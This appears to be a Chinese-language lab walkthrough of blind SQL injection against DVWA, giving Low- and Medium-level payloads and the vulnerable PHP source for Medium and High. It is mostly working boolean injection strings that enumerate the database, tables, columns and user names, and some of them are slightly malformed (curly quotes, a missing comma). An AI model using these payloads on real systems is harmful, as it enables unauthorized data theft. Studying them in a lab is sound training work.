DVWA-SQL Injection(Blind)(SQL盲注)
1 盲注中常用的几个函数: 2 substr(a,b,c):从b位置开始,截取字符串a的c长度 3 count():计算总数 4 ascii():返回字符的ascii码 5 length():返回字符串的长度 left(a,b):从左往右截取字符串a的前b个字符 6 sleep(n):将程序挂起n秒
手工盲注思路
手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。
盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,这里只演示基于布尔的盲注与基于时间的盲注。
1 下面简要介绍手工盲注的步骤(可与之前的手工注入作比较): 2 3 1.判断是否存在注入,注入是字符型还是数字型 4 2.猜解当前数据库名 5 3.猜解数据库中的表名 6 4.猜解表中的字段名 7 5.猜解数据
基于布尔值的盲注
安全等级:LOW
查看源码
Low级别的代码对参数id的内容没有做任何检查、过滤,存在明显的SQL注入漏洞;
同时SQL语句查询返回的结果只有两种:
User ID exists in the database User ID is MISSING from the database
1、判断是否存在注入,注入是字符型还是数据型
输入 1' and '1'='1 ,查询成功,说明存在字符型SQL注入
2、猜解当前数据库名
2.1 猜解数据库名的长度
1' and length(database())=1 # // 设数据库长度为1,报错 1' and length(database())=4 # //数据库名长度为4
2.2 猜解数据库的名称
1' and ascii(substr(database(),1,1))=100 # d 1' and ascii(substr(database(),2,1))=118 # v 1' and ascii(substr(database(),3,1))=119 # w 1' and ascii(substr(database(),4,1))=97 # a
3、猜解数据库中的表名
3.1 猜解库中有几个表
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 # //有2个表
3.2 猜解表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9 # //猜解第一个表名的长度为9
3.3 确定表的名称(guestbook,users)
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),1))=103 # //g 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1),1))=117 # //u 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 2,1),1))=101 # //e 以此类推,进行查询
4、猜解users表中的字段名
4.1 猜解users表中有几个字段
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 # //users表中有8个字段
4.2 猜解字段名的长度
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1))=4 # //猜解第3个字段的长度
4.3 确定字段的名称(user)
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=117 # //u 1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 1,1),1))=115 # //s 1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 2,1),1))=101 # //e 1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 3,1),1))=114 # //r
5、猜解数据(admin)
1’ and ascii(substr((select user from users limit 0,1)1,1))=97 # //a 1’ and ascii(substr((select user from users limit 1,1)1,1))=100 # //d 1’ and ascii(substr((select user from users limit 2,1)1,1))=109 # //m 1’ and ascii(substr((select user from users limit 3,1)1,1))=105 # //i 1’ and ascii(substr((select user from users limit 4,1)1,1))=110 # //n
安全等级:Medium
查看源码
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } //mysql_close(); } ?>
可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号x00、 、 、、’、”、x1a等进行转义;存在数字型SQL注入;同时设置了下拉选择表单,控制用户的输入,由源码可以看出,用户只能选择1-5。
安全等级为Medium时,只能进行选择,所以使用BurpSuite进行拦截,在数据包中修改id值,然后在Response中的Render下查看结果。
下面操作都是BurpSuite拦截修改ID值,从Response中的Render下查看结果
1、猜解当前数据库名
1.1 猜解数据库名的长度(dvwa)
1 and length(database())=4 //数据库名长度为4
如果输入的数据库名的长度不对,则会进行报错。
1 and length(database())=5,返回结果为User ID is MISSING from the database
1.2 猜解数据库的名称
1 and ascii(substr(database(),1,1))=100 //d
接下来的操作与Low级别基本上相似。由于Medium级别的注入是数字型的,所以不需要单引号 ' 。也不需要最后的 # ,操作如上所示。
安全等级:High
查看源码
<?php if( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>